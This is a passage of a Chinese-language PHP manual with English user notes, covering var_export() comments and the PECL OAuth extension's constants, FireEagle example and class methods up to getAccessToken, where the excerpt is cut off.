works (while being more ugly).  Unlike var_export(), var_dump() has no option to return the string, so output buffering logic is required if you want to direct the output.
Zorro 04-Sep-2005 11:24
This function can't export EVERYTHING. Moreover, you can have an error on an simple recursive array:

$test = array();
$test["oops"] = & $test;

echo var_export($test);

=>

Fatal error:  Nesting level too deep - recursive dependency? in ??.php on line 59
linus at flowingcreativity dot net 04-Jul-2005 09:50
<roman at DIESPAM dot feather dot org dot ru>, your function has inefficiencies and problems. I probably speak for everyone when I ask you to test code before you add to the manual.

Since the issue of whitespace only comes up when exporting arrays, you can use the original var_export() for all other variable types. This function does the job, and, from the outside, works the same as var_export().

<?php

function var_export_min($var, $return = false) {
    if (is_array($var)) {
        $toImplode = array();
        foreach ($var as $key => $value) {
            $toImplode[] = var_export($key, true).'=>'.var_export_min($value, true);
        }
        $code = 'array('.implode(',', $toImplode).')';
        if ($return) return $code;
        else echo $code;
    } else {
        return var_export($var, $return);
    }
}

?>
paul at worldwithoutwalls dot co dot uk 24-Nov-2004 11:22
var_export() differs from print_r() for variables that are resources, with print_r() being more useful if you are using the function for debugging purposes.
e.g.
<?php
$res = mysql_connect($dbhost, $dbuser, $dbpass);
print_r($res); //output: Resource id #14
var_export($res); //output: NULL
?>
php_manual_note at bigredspark dot com 16-Oct-2003 12:43
[john holmes]
True, but that method would require you to open and read the file into a variable and then unserialize it into another variable.

Using a file created with var_export() could simply be include()'d, which will be less code and faster.

[kaja]
If you are trying to find a way to temporarily save variables into some other file, check out serialize() and unserialize() instead - this one is more useful for its readable property, very handy while debugging.

[original post]
If you're like me, you're wondering why a function that outputs "correct PHP syntax" is useful. This function can be useful in implementing a cache system. You can var_export() the array into a variable and write it into a file. Writing a string such as

<?php
$string = '<?php $array = ' . $data . '; ?>';
?>

where $data is the output of var_export() can create a file that can be easily include()d back into the script to recreate $array.

The raw output of var_export() could also be eval()d to recreate the array.

---John Holmes...


Web 服务

  • OAuth
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • OAuth 函数
    • OAuth — OAuth 类
    • OAuthProvider — OAuthProvider 类
    • OAuthException — OAuthException 类
  • SOAP
    • 简介
    • 安装/配置
    • 预定义常量
    • SOAP 函数
    • SoapClient — The SoapClient class
    • SoapServer — The SoapServer class
    • SoapFault — The SoapFault class
    • SoapHeader — The SoapHeader class
    • SoapParam — The SoapParam class
    • SoapVar — The SoapVar class
  • Yar — Yet Another RPC Framework
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Yar_Server — The Yar_Server class
    • Yar_Client — Yar_Client 类
    • Yar_Concurrent_Client — Yar_Concurrent_Client 类
    • Yar_Server_Exception — Yar_Server_Exception 类
    • Yar_Client_Exception — Yar_Client_Exception 类
  • XML-RPC
    • 简介
    • 安装/配置
    • 预定义常量
    • XML-RPC 函数

User Contributed Notes

There are no user contributed notes for this page.


OAuth

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • FireEagle
  • OAuth 函数
    • oauth_get_sbs — 生成一个签名字符基串
    • oauth_urlencode — 将 URI 编码为 RFC 3986 规范
  • OAuth — OAuth 类
    • OAuth::__construct — 新建一个 OAuth 对象
    • OAuth::__destruct — 析构函数
    • OAuth::disableDebug — 关闭详细的调试
    • OAuth::disableRedirects — 关闭重定向
    • OAuth::disableSSLChecks — 关闭 SSL 检查
    • OAuth::enableDebug — 启用详细调试
    • OAuth::enableRedirects — 启用重定向
    • OAuth::enableSSLChecks — 启用 SSL 检查
    • OAuth::fetch — 获取一个 OAuth 受保护的资源
    • OAuth::generateSignature — 生成一个签名
    • OAuth::getAccessToken — 获取一个访问令牌
    • OAuth::getCAPath — 获取 CA 信息
    • OAuth::getLastResponse — 获取最后一次的响应
    • OAuth::getLastResponseHeaders — 获取最后一次响应的头信息
    • OAuth::getLastResponseInfo — 获取关于最后一次响应的 HTTP 信息
    • OAuth::getRequestHeader — 生成 OAuth 头信息字符串签名
    • OAuth::getRequestToken — 获取一个请求令牌
    • OAuth::setAuthType — 设置授权类型
    • OAuth::setCAPath — 设置 CA 路径和信息
    • OAuth::setNonce — 为后续请求设置现时标志
    • OAuth::setRequestEngine — 设置目标请求引擎
    • OAuth::setRSACertificate — 设置 RSA 证书
    • OAuth::setSSLChecks — 调整特定的SSL请求检查
    • OAuth::setTimestamp — 设置时间戳
    • OAuth::setToken — 设置令牌和 secret
    • OAuth::setVersion — 设置 OAuth 版本
  • OAuthProvider — OAuthProvider 类
    • OAuthProvider::addRequiredParameter — 添加必需的参数
    • OAuthProvider::callconsumerHandler — 调用 consumerNonceHandler 回调函数
    • OAuthProvider::callTimestampNonceHandler — 调用 timestampNonceHandler 回调函数
    • OAuthProvider::calltokenHandler — 调用 tokenNonceHandler 回调函数
    • OAuthProvider::checkOAuthRequest — 检查一个 oauth 请求
    • OAuthProvider::__construct — 新建一个 OAuthProvider 对象
    • OAuthProvider::consumerHandler — 设置 consumerHandler 句柄回调函数
    • OAuthProvider::generateToken — 生成一个随机令牌
    • OAuthProvider::is2LeggedEndpoint — is2LeggedEndpoint
    • OAuthProvider::isRequestTokenEndpoint — 设置 isRequestTokenEndpoint
    • OAuthProvider::removeRequiredParameter — 移除一个必需的参数
    • OAuthProvider::reportProblem — 报告问题
    • OAuthProvider::setParam — 设置一个参数
    • OAuthProvider::setRequestTokenPath — 设置请求令牌路径
    • OAuthProvider::timestampNonceHandler — 设置 timestampNonceHandler 句柄回调函数
    • OAuthProvider::tokenHandler — 设置 tokenHandler 句柄回调函数
  • OAuthException — OAuthException 类

User Contributed Notes

There are no user contributed notes for this page.


简介

此扩展提供 OAuth 1.0a 消费方和提供方之间的绑定。OAuth 是一种建立在 HTTP 之上的授权协议，用于允许应用程序安全访问数据而无需存储用户名和密码。

User Contributed Notes

ramdan 04-Oct-2019 12:20
OAuth 1 is not secure anymore! Please do not use it! Version 1.0a tries to fix the problem.

Most platforms are using OAuth 2 instead. Both versions are incompatible. If you try to use version 1, you will get frustrated.


需求

PECL/oauth 需要 PHP 5.1 或更高版本，以及 ext/hash 和 ext/pcre 。

如果在构建时选择 PECL/oauth 则可选择性地需要 libcurl 。如果使用 libcurl 配置，则必须构建 HTTPS 支持。

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pear.php.net/package/oauth

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

这些常量牵涉到的大部分问题也都在官方的 OAuth » 问题报告 文档里有描述。但是要注意，这些常量名是特定于 PHP 的，尽管这些命名规则看上去相似。

OAUTH_SIG_METHOD_RSASHA1 (string)
OAuth RSA-SHA1 签名方法。
OAUTH_SIG_METHOD_HMACSHA1 (string)

OAuth HMAC-SHA1 签名方法。

OAUTH_SIG_METHOD_HMACSHA256 (string)
OAuth HMAC-SHA256 签名方法。
OAUTH_AUTH_TYPE_AUTHORIZATION (string)

此常量代表把 OAuth 参数放在 Authorization 头部。

OAUTH_AUTH_TYPE_NONE (string)

此常量标志着一个 NoAuth OAuth 请求。

OAUTH_AUTH_TYPE_URI (string)

此常量表示将 OAuth 参数放在请求中。 URI.

OAUTH_AUTH_TYPE_FORM (string)

此常量表示将 OAuth 参数作为 HTTP POST 主体的一部分。

OAUTH_HTTP_METHOD_GET (string)

为 OAuth 请求使用 GET 方法。

OAUTH_HTTP_METHOD_POST (string)

为 OAuth 请求使用 POST 方法。

OAUTH_HTTP_METHOD_PUT (string)

为 OAuth 请求使用 PUT 方法。

OAUTH_HTTP_METHOD_HEAD (string)

为 OAuth 请求使用 HEAD 方法。

OAUTH_HTTP_METHOD_DELETE (string)
为 OAuth 请求使用 DELETE 方法。
OAUTH_REQENGINE_STREAMS (int)
使用 OAuth::setRequestEngine() 来设置引擎为 PHP 流，与用 OAUTH_REQENGINE_CURL 的 Curl 截然相反。
OAUTH_REQENGINE_CURL (int)
使用 OAuth::setRequestEngine() 来设置引擎为 Curl，与用 OAUTH_REQENGINE_STREAMS 的 PHP 流 截然相反。
OAUTH_OK (int)
一切良好。
OAUTH_BAD_NONCE (int)
oauth_nonce 值已经用于上一个上一个请求，因此现在不能使用了。
OAUTH_BAD_TIMESTAMP (int)
oauth_timestamp 值不能被服务提供者接受。这种情况下，响应应该也包含 oauth_acceptable_timestamps 参数。
OAUTH_CONSUMER_KEY_UNKNOWN (int)
oauth_consumer_key 暂时不能被服务提供者接受。比如，服务提供者限流了使用者。
OAUTH_CONSUMER_KEY_REFUSED (int)
使用者密钥遭拒绝。
OAUTH_INVALID_SIGNATURE (int)
oauth_signature 无效，因为和服务提供者的签名计算不匹配。
OAUTH_TOKEN_USED (int)
oauth_token 已经被消费。此令牌不能再被使用，因为在上一次请求中已经使用过。
OAUTH_TOKEN_EXPIRED (int)
oauth_token 已经过期。
OAUTH_TOKEN_REVOKED (int)
oauth_token 已经被撤销，且将决不再接受。
OAUTH_TOKEN_REJECTED (int)
oauth_token 被服务提供者拒绝。原因未知，也许是因为令牌从未发布、已经消费、过期、或服务提供者忘记了。
OAUTH_VERIFIER_INVALID (int)
oauth_verifier 不正确。
OAUTH_PARAMETER_ABSENT (int)
一个必需的参数没有接收到。这种情况下，响应也应该包含 oauth_parameters_absent 参数。
OAUTH_SIGNATURE_METHOD_REJECTED (int)
oauth_signature_method 不能被服务提供者接受。

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • FireEagle

User Contributed Notes

There are no user contributed notes for this page.


FireEagle

<?php
$req_url = 'https://fireeagle.yahooapis.com/oauth/request_token';
$authurl = 'https://fireeagle.yahoo.net/oauth/authorize';
$acc_url = 'https://fireeagle.yahooapis.com/oauth/access_token';
$api_url = 'https://fireeagle.yahooapis.com/api/0.1';
$conskey = 'your_consumer_key';
$conssec = 'your_consumer_secret';

session_start();

// 当 state=1 则下次请求应该包含一个 oauth_token 。
// 如果没有则返回 0
if(!isset($_GET['oauth_token']) && $_SESSION['state']==1) $_SESSION['state'] = 0;
try {
$oauth = new OAuth($conskey,$conssec,OAUTH_SIG_METHOD_HMACSHA1,OAUTH_AUTH_TYPE_URI);
$oauth->enableDebug();
if(!isset($_GET['oauth_token']) && !$_SESSION['state']) {
$request_token_info = $oauth->getRequestToken($req_url);
$_SESSION['secret'] = $request_token_info['oauth_token_secret'];
$_SESSION['state'] = 1;
header('Location: '.$authurl.'?oauth_token='.$request_token_info['oauth_token']);
exit;
} else if($_SESSION['state']==1) {
$oauth->setToken($_GET['oauth_token'],$_SESSION['secret']);
$access_token_info = $oauth->getAccessToken($acc_url);
$_SESSION['state'] = 2;
$_SESSION['token'] = $access_token_info['oauth_token'];
$_SESSION['secret'] = $access_token_info['oauth_token_secret'];
}
$oauth->setToken($_SESSION['token'],$_SESSION['secret']);
$oauth->fetch("$api_url/user.json");
$json = json_decode($oauth->getLastResponse());
print_r($json);
} catch(OAuthException $E) {
print_r($E);
}
?>

User Contributed Notes

iquark10 at gmail dot com 01-Aug-2019 08:35
Fire Eagle has closed as of February 2013
pierre dot mihawk at gmail dot com 25-Jun-2014 07:09
In the case you're asking an API which gives you a reusable application key, you'll have to use the "verifier" in the getAccessToken() method, but also the "callback" parameter in the getRequestToken().

<?php
     $request_token_info = $oauth->getRequestToken($req_url, "<YOU_CALLBACK_URI>");
?>

In my case, once I accepted the form in the Authorize URI, I was redirected to this callback URI with a "oauth_verifier" GET parameter. I injected it into the access token request :

<?php
    $access_token_info = $oauth->getAccessToken($acc_url, '', $_GET['oauth_verifier']);
?>

I finally obtained an access token that I hardcoded ; it doesn't need any refresh.
brianmoreau at uk2 dot net 09-Mar-2013 12:26
I have just managed to modify this script to work with the Twitter API...

The changes are...

$req_url = 'https://api.twitter.com/oauth/request_token';
$authurl = 'https://api.twitter.com/oauth/authorize';
$acc_url = 'https://api.twitter.com/oauth/access_token';
$api_url = 'https://api.twitter.com/1.1/account';
$conskey = 'YOURAPPconskey';
$conssec = 'YOURAPPconssec';

And change
#$oauth->fetch("$api_url/user.json");
# verify_credentials
# TO
$oauth->fetch("$api_url/verify_credentials.json");


OAuth 函数

Table of Contents

  • oauth_get_sbs — 生成一个签名字符基串
  • oauth_urlencode — 将 URI 编码为 RFC 3986 规范

User Contributed Notes

There are no user contributed notes for this page.


生成一个签名字符基串

  • ? OAuth 函数
  • oauth_urlencode ?
  • PHP Manual
  • OAuth 函数
  • 生成一个签名字符基串

oauth_get_sbs

(PECL OAuth >=0.99.7)

oauth_get_sbs — 生成一个签名字符基串

说明

oauth_get_sbs(string $http_method, string $uri, array $request_parameters = ?): string

根据 pecl/oauth 生成一个签名字符基串。

参数

http_method

HTTP 方法。

uri

将要编码的 URI 。

request_parameters

请求参数的数组。

返回值

返回一个签名字符基串。

User Contributed Notes

There are no user contributed notes for this page.


将 URI 编码为 RFC 3986 规范

  • ? oauth_get_sbs
  • OAuth ?
  • PHP Manual
  • OAuth 函数
  • 将 URI 编码为 RFC 3986 规范

oauth_urlencode

(PECL OAuth >=0.99.2)

oauth_urlencode — 将 URI 编码为 RFC 3986 规范

说明

oauth_urlencode(string $uri): string

将 URI 编码为 » RFC 3986 规范。

参数

uri

将要编码的 URI 。

返回值

返回一个 » RFC 3986 规范的编码字符串。

User Contributed Notes

bohwaz 30-Mar-2010 07:20
Note that php5.3 rawurlencode will do exactly the same thing.

For PHP 5.2, easy replacement to this function :

<?php

function rfc3986_encode($str)
{
  $str = rawurlencode($str);
  $str = str_replace('%E7', '~', $str);
  return $str;
}

?>


OAuth 类

(PECL OAuth >= 0.99.1)

简介

此 OAuth 扩展提供一个简单接口使用 OAuth HTTP 规范与数据提供者互动，以便保护私有资源。

类摘要

class OAuth {
/* 属性 */
public $debug;
public $sslChecks;
public $debugInfo;
/* 方法 */
public __construct(
string $consumer_key,
string $consumer_secret,
string $signature_method = OAUTH_SIG_METHOD_HMACSHA1,
int $auth_type = 0
)
public __destruct(): void
public disableDebug(): bool
public disableRedirects(): bool
public disableSSLChecks(): bool
public enableDebug(): bool
public enableRedirects(): bool
public enableSSLChecks(): bool
public fetch(
string $protected_resource_url,
array $extra_parameters = ?,
string $http_method = ?,
array $http_headers = ?
): mixed
public generateSignature(string $http_method, string $url, mixed $extra_parameters = ?): string|false
public getAccessToken(
string $access_token_url,
string $auth_session_handle = ?,
string $verifier_token = ?,
string $http_method = ?
): array
public getCAPath(): array
public getLastResponse(): string
public getLastResponseHeaders(): string|false
public getLastResponseInfo(): array
public getRequestHeader(string $http_method, string $url, mixed $extra_parameters = ?): string|false
public getRequestToken(string $request_token_url, string $callback_url = ?, string $http_method = ?): array
public setAuthType(int $auth_type): bool
public setCAPath(string $ca_path = ?, string $ca_info = ?): mixed
public setNonce(string $nonce): mixed
public setRequestEngine(int $reqengine): void
public setRSACertificate(string $cert): mixed
public setSSLChecks(int $sslcheck): bool
public setTimestamp(string $timestamp): mixed
public setToken(string $token, string $token_secret): bool
public setVersion(string $version): bool
}

属性

debug

sslChecks

debugInfo

Table of Contents

  • OAuth::__construct — 新建一个 OAuth 对象
  • OAuth::__destruct — 析构函数
  • OAuth::disableDebug — 关闭详细的调试
  • OAuth::disableRedirects — 关闭重定向
  • OAuth::disableSSLChecks — 关闭 SSL 检查
  • OAuth::enableDebug — 启用详细调试
  • OAuth::enableRedirects — 启用重定向
  • OAuth::enableSSLChecks — 启用 SSL 检查
  • OAuth::fetch — 获取一个 OAuth 受保护的资源
  • OAuth::generateSignature — 生成一个签名
  • OAuth::getAccessToken — 获取一个访问令牌
  • OAuth::getCAPath — 获取 CA 信息
  • OAuth::getLastResponse — 获取最后一次的响应
  • OAuth::getLastResponseHeaders — 获取最后一次响应的头信息
  • OAuth::getLastResponseInfo — 获取关于最后一次响应的 HTTP 信息
  • OAuth::getRequestHeader — 生成 OAuth 头信息字符串签名
  • OAuth::getRequestToken — 获取一个请求令牌
  • OAuth::setAuthType — 设置授权类型
  • OAuth::setCAPath — 设置 CA 路径和信息
  • OAuth::setNonce — 为后续请求设置现时标志
  • OAuth::setRequestEngine — 设置目标请求引擎
  • OAuth::setRSACertificate — 设置 RSA 证书
  • OAuth::setSSLChecks — 调整特定的SSL请求检查
  • OAuth::setTimestamp — 设置时间戳
  • OAuth::setToken — 设置令牌和 secret
  • OAuth::setVersion — 设置 OAuth 版本

User Contributed Notes

There are no user contributed notes for this page.


新建一个 OAuth 对象

  • ? OAuth
  • OAuth::__destruct ?
  • PHP Manual
  • OAuth
  • 新建一个 OAuth 对象

OAuth::__construct

(PECL OAuth >= 0.99.1)

OAuth::__construct — 新建一个 OAuth 对象

说明

public OAuth::__construct(
string $consumer_key,
string $consumer_secret,
string $signature_method = OAUTH_SIG_METHOD_HMACSHA1,
int $auth_type = 0
)

新建一个 OAuth 对象

参数

consumer_key

由服务提供者提供的 consumer key 。

consumer_secret

由服务提供者提供的 consumer secret 。

signature_method

可选参数，用来定义使用哪种签名方法，默认为 OAUTH_SIG_METHOD_HMACSHA1 （HMAC-SHA1）。

auth_type

可选参数，用来定义如何传递 OAuth 参数给消费方，默认为OAUTH_AUTH_TYPE_AUTHORIZATION （在 Authorization 头部）。

User Contributed Notes

mgfrobozz at gmail dot com 23-Jan-2017 05:29
The authorization type enums as of oauth-1.2.3 are
OAUTH_AUTH_TYPE_AUTHORIZATION
OAUTH_AUTH_TYPE_URI
OAUTH_AUTH_TYPE_FORM
OAUTH_AUTH_TYPE_NONE
mgfrobozz at gmail dot com 23-Jan-2017 05:27
The signature methods available as of oauth-1.2.3 are:
OAUTH_SIG_METHOD_HMACSHA1
OAUTH_SIG_METHOD_HMACSHA256
OAUTH_SIG_METHOD_RSASHA1
OAUTH_SIG_METHOD_PLAINTEXT


析构函数

  • ? OAuth::__construct
  • OAuth::disableDebug ?
  • PHP Manual
  • OAuth
  • 析构函数

OAuth::__destruct

(PECL OAuth >= 0.99.9)

OAuth::__destruct — 析构函数

说明

public OAuth::__destruct(): void

析构函数。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

参见

  • OAuth::__construct() - 新建一个 OAuth 对象

User Contributed Notes

There are no user contributed notes for this page.


关闭详细的调试

  • ? OAuth::__destruct
  • OAuth::disableRedirects ?
  • PHP Manual
  • OAuth
  • 关闭详细的调试

OAuth::disableDebug

(PECL OAuth >= 0.99.3)

OAuth::disableDebug — 关闭详细的调试

说明

public OAuth::disableDebug(): bool

关闭详细的请求信息（默认为关闭）。或者，将 调试 属性设置为 false 值来关闭调试。

参数

此函数没有参数。

返回值

true

更新日志

版本 | 说明
PECL oauth 0.99.8 | 增加相关 调试 属性。

参见

  • OAuth::enableDebug() - 启用详细调试

User Contributed Notes

There are no user contributed notes for this page.


关闭重定向

  • ? OAuth::disableDebug
  • OAuth::disableSSLChecks ?
  • PHP Manual
  • OAuth
  • 关闭重定向

OAuth::disableRedirects

(PECL OAuth >= 0.99.9)

OAuth::disableRedirects — 关闭重定向

说明

public OAuth::disableRedirects(): bool

禁用自动跟随其后的重定向，这样，手动重定向请求。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

true

参见

  • OAuth::enableRedirects() - 启用重定向

User Contributed Notes

There are no user contributed notes for this page.


关闭 SSL 检查

  • ? OAuth::disableRedirects
  • OAuth::enableDebug ?
  • PHP Manual
  • OAuth
  • 关闭 SSL 检查

OAuth::disableSSLChecks

(PECL OAuth >= 0.99.5)

OAuth::disableSSLChecks — 关闭 SSL 检查

说明

public OAuth::disableSSLChecks(): bool

关闭通常的 SSL 对等证书和主机检查，但不用于生产环境。或者，设置 sslChecks 成员为 false 来关闭 SSL 检查。

参数

此函数没有参数。

返回值

true

更新日志

版本 | 说明
PECL oauth 0.99.8 | 增加了 sslChecks 成员

参见

  • OAuth::enableSSLChecks() - 启用 SSL 检查

User Contributed Notes

There are no user contributed notes for this page.


启用详细调试

  • ? OAuth::disableSSLChecks
  • OAuth::enableRedirects ?
  • PHP Manual
  • OAuth
  • 启用详细调试

OAuth::enableDebug

(PECL OAuth >= 0.99.3)

OAuth::enableDebug — 启用详细调试

说明

public OAuth::enableDebug(): bool

打开用于调试的详细请求信息，调试信息存储在 debugInfo 成员中。或者，可以设置 debug 成员为一个非 false 值来打开启用调试。

参数

此函数没有参数。

返回值

true

更新日志

版本 | 说明
PECL oauth 0.99.8 | 增加了 debug 和 debugInfo 成员

参见

  • OAuth::disableDebug() - 关闭详细的调试

User Contributed Notes

There are no user contributed notes for this page.


启用重定向

  • ? OAuth::enableDebug
  • OAuth::enableSSLChecks ?
  • PHP Manual
  • OAuth
  • 启用重定向

OAuth::enableRedirects

(PECL OAuth >= 0.99.9)

OAuth::enableRedirects — 启用重定向

说明

public OAuth::enableRedirects(): bool

启用自动重定向，此项默认为启用。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

true

参见

  • OAuth::disableRedirects() - 关闭重定向

User Contributed Notes

There are no user contributed notes for this page.


启用 SSL 检查

  • ? OAuth::enableRedirects
  • OAuth::fetch ?
  • PHP Manual
  • OAuth
  • 启用 SSL 检查

OAuth::enableSSLChecks

(PECL OAuth >= 0.99.5)

OAuth::enableSSLChecks — 启用 SSL 检查

说明

public OAuth::enableSSLChecks(): bool

启用通常的l SSL 对等证书和主机检查（默认为启用）。或者，可以设置 sslChecks 成员为一个非 false 值来启用 SSL 检查。

参数

此函数没有参数。

返回值

true

更新日志

版本 | 说明
PECL oauth 0.99.8 | 增加 sslChecks 成员

参见

  • OAuth::disableSSLChecks() - 关闭 SSL 检查

User Contributed Notes

There are no user contributed notes for this page.


获取一个 OAuth 受保护的资源

  • ? OAuth::enableSSLChecks
  • OAuth::generateSignature ?
  • PHP Manual
  • OAuth
  • 获取一个 OAuth 受保护的资源

OAuth::fetch

(PECL OAuth >= 0.99.1)

OAuth::fetch — 获取一个 OAuth 受保护的资源

说明

public OAuth::fetch(
string $protected_resource_url,
array $extra_parameters = ?,
string $http_method = ?,
array $http_headers = ?
): mixed

获取一个资源。

参数

protected_resource_url

OAuth 受保护资源的URL

extra_parameters

和资源请求一起发送的额外参数。

http_method

OAUTH_HTTP_METHOD_* 系列 OAUTH 常量之一，GET、POST、PUT、HEAD 或 DELETE 其中的一个。

HEAD （OAUTH_HTTP_METHOD_HEAD ）可以用于先于请求发现信息（如果 OAuth 证书在 Authorization 头部）。

http_headers

HTTP 客户端头信息（像 User-Agent， Accept 等等这样的）。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
PECL oauth 1.0.0 | 以前失败时返回 null，而不是 false。
PECL oauth 0.99.5 | 新增 http_method 参数
PECL oauth 0.99.8 | 新增 http_headers 参数

示例

Example #1 OAuth::fetch() example

<?php
try {
$oauth = new OAuth("consumer_key","consumer_secret",OAUTH_SIG_METHOD_HMACSHA1,OAUTH_AUTH_TYPE_AUTHORIZATION);
$oauth->setToken("access_token","access_token_secret");

$oauth->fetch("http://photos.example.net/photo?file=vacation.jpg");

$response_info = $oauth->getLastResponseInfo();
header("Content-Type: {$response_info["content_type"]}");
echo $oauth->getLastResponse();
} catch(OAuthException $E) {
echo "Exception caught!\n";
echo "Response: ". $E->lastResponse . "\n";
}
?>

参见

  • OAuth::getLastResponse() - 获取最后一次的响应
  • OAuth::getLastResponseInfo() - 获取关于最后一次响应的 HTTP 信息
  • OAuth::setToken() - 设置令牌和 secret

User Contributed Notes

Lars Stttrup Nielsen 16-Mar-2016 07:37
So I'm using this to talk to the Woocommerce REST API, and was having a lot of trouble figuring out what exactly $extra_parameters was supposed to look like (which WC REST API expects, besides being of the type OAUTH_AUTH_TYPE_URI).

The multidimensional array I fed it crashed PHP, so don't do that if you're in my shoes.

What ended up solving it was me looking through the OAuth source and noticing that $extra_parameters can also be a string, which, encoded as json (json_encode), solved all my troubles as WC accepted it.
zverik at textual dot ru 31-Mar-2014 08:46
If $extra_parameters is not an array, you have to specify Content-Type header, or else you'll get HTTP 401 error. Example:

<?php
$oauth->fetch(ENDPOINT, '{"action": "get_user_info"}', OAUTH_HTTP_METHOD_PUT, array('Content-Type' => 'application/json'));
?>
chris dot barr at ntlworld dot com 05-Mar-2013 05:59
The fetch() method will throw an OAuthException if the returned http status code is in the 4xx or 5xx range:

<?php
// Querying Twitter with bad login details
try {
  $oauth->fetch('https://api.twitter.com/1.1/favorites/list.json');
}
catch(Exception $e) {
  echo $e->getCode(); // 401
  // Message generated by OAuth class
  echo $e->getMessage(); // Invalid auth/bad request (got a 401, expected HTTP/1.1 20X or a redirect)
  // Message returned from Twitter
  echo $e->lastResponse; // {"errors":[{"message":"Could not authenticate you","code":32}]}
}
sun at drupal dot org 09-Aug-2011 06:40
Make sure that your $extra_parameters is an array.

If it's not, then OAuth will silently skip the malformed data type and produce a signature base string that is invalid (doesn't contain POST parameters, as defined in the RFC).

You should file a critical bug report against any REST API you find in the wild that accepts such a bogus signature to pass authentication.
contact info at mech dot cx 23-Mar-2011 04:00
I was having troubles getting fetch() to post, the remote server (Twitter, in this case) complained at me that their "resource only supports POST". Turned out to be a known bug in OAuth 1.1, downgrading to 1.0 fixed it.

Don't lose as much time over this as I did :-)
Lyuben Penkovski (l_penkovski at yahoo dot com) 26-Aug-2010 11:51
If the provider's web server is configured to use Keep-Alive extension to HTTP protocol (HTTP 1.1), there can be a big delay in the response time from the provider. By default Apache is configured to use Keep-Alive for 5 seconds. This is the delay after which the response will come back to the consumer. If you have this issue of delayed result, you can pass in HTTP headers when calling $consumer->fetch():

<?php
$consumer = new OAuth("consumer_key", "consumer_secret", OAUTH_SIG_METHOD_HMACSHA1, OAUTH_AUTH_TYPE_FORM);
$consumer->fetch('http://example.com/api/', null, OAUTH_HTTP_METHOD_POST, array('Connection'=>'close'));
?>

Then the provider will send the result immediately after it's ready with the processing and the connection will be closed. Unfortunately, when calling $consumer->getRequestToken() and $consumer->getAccessToken() there's no way provided to pass in HTTP headers and this delay (if present) cannot be avoided, or at least we could not find a way to avoid it.

The solution that worked for us is to send this header from the provider when returning result to the consumer:

<?php
$result = 'oauth_callback_accepted=true&oauth_token=' . $this->urlencode($token->oauth_token) .
          '&oauth_token_secret='.$this->urlencode($token->oauth_token_secret);

header('HTTP/1.1 200 OK');
header('Content-Length: '.strlen($result));
header('Content-Type: application/x-www-form-urlencoded');
header('Connection:close');
echo $result;
?>

This can work if you have the possibility to modify the code of the provider, e.g. if you are the provider yourself or if you can talk with the people that develop it and ask them to send this header for your request.


生成一个签名

  • ? OAuth::fetch
  • OAuth::getAccessToken ?
  • PHP Manual
  • OAuth
  • 生成一个签名

OAuth::generateSignature

(No version information available, might only be in Git)

OAuth::generateSignature — 生成一个签名

说明

public OAuth::generateSignature(string $http_method, string $url, mixed $extra_parameters = ?): string|false

生成一个基于最终 HTTP 方法、URL 和 一个字符串/数组参数的签名。

参数

http_method

用来请求的 HTTP 方法

url

用来请求的 URL

extra_parameters

字符串或数组的附加参数

返回值

一个包含签名的字符串 或者在失败时返回 false

User Contributed Notes

vk221000 at gmail dot com 03-Jan-2022 11:46
<?php
/**
     * Get signature for the request Oauth 1.0
     *
     * @param string      $url url to send request to.
     * @param string      $consumer_key consumer key for the request credential.
     * @param string      $consumer_secret consumer secret for the request credential.
     * @param string      $method GET, POST etc methods.
     * @param array|false $params parameters to send during the request.
     * @since 1.0.0
     * @return string
     */
    public function get_signature( $url, $consumer_key, $consumer_secret, $method = 'GET', $params = false ) {
            $nonce     = mt_rand();
            $timestamp = time();
            $oauth     = new \OAuth( $consumer_key, $consumer_secret );
            $oauth->setTimestamp( $timestamp );
            $oauth->setNonce( $nonce );
            $sig = $oauth->generateSignature( $method, $url, $params );

            $header = 'OAuth ' .
                'oauth_consumer_key=' . $consumer_key .
                ',oauth_signature_method="HMAC-SHA1"' .
                ',oauth_nonce="'. $nonce . '"' .
                ',oauth_timestamp="' . $timestamp . '"'.
                ',oauth_version="1.0"'.
                ',oauth_signature="' . urlencode( $sig ) . '"'
                ;
            return $header;
    }
?>


获取一个访问令牌

  • ? OAuth::generateSignature
  • OAuth::getCAPath ?
  • PHP Manual
  • OAuth
  • 获取一个访问令牌

OAuth::getAccessToken

(PECL OAuth >= 0.99.1)

OAuth::getAccessToken — 获取一个访问令牌

说明

public OAuth::getAccessToken(
string $access_token_url,
string $auth_session_handle = ?,
string $verifier_token = ?,
string $http_method = ?
): array

从服务提供者获取一个访问令牌、secret以及一些附带的响应参数 。

参数

access_token_url

用于访问令牌 API 的 URL。

auth_session_handle

授权会话句柄，此参数在 OAuth 规范核心中没有任何引用， 但可能被大的提供者实现。» 参见 ScalableOAuth 获取更多信息。

verifier_token

对于支持 1.0a 的服务提供者， 当交换请求令牌和访问令牌时，必须传递 verifier_token 。如果 verifier_token 存在于 $_GET 或 $_POST 中，它将被自动传递，且调用者不需要指定一个 verifier_token （通常如果访问令牌在 oauth_callback URL 上被交换 ）。 » 参见 ScalableOAuth 获取更多信息。

http_method

要使用的 HTTP 方法，例如 GET 或 POST。

返回值

成功则返回一个包含解析过的 OAuth 响应的数组， 失败则返回 false 。

更新日志

版本 | 说明
PECL oauth 1.0.0 | 以前失败时返回 null，而不是 false。
PECL oauth 0.99.9 | 新增 verifier_token 参数

示例

Example #1 OAuth::getAccessToken() 例子

<?php
try {
$oauth = new OAuth(OAUTH_CONSUMER_KEY,OAUTH_CONSUMER_SECRET);
$oauth->setToken($request_token,$request_token_secret);
$access_token_info = $oauth->getAccessToken("https://example.com/oauth/access_token");
if(!empty($access_token_info)) {
print_r($access_token_info);
} else {
print "Failed fetching access token, response was: " . $oauth->getLastResponse();
}
} catch(OAuthException $E) {
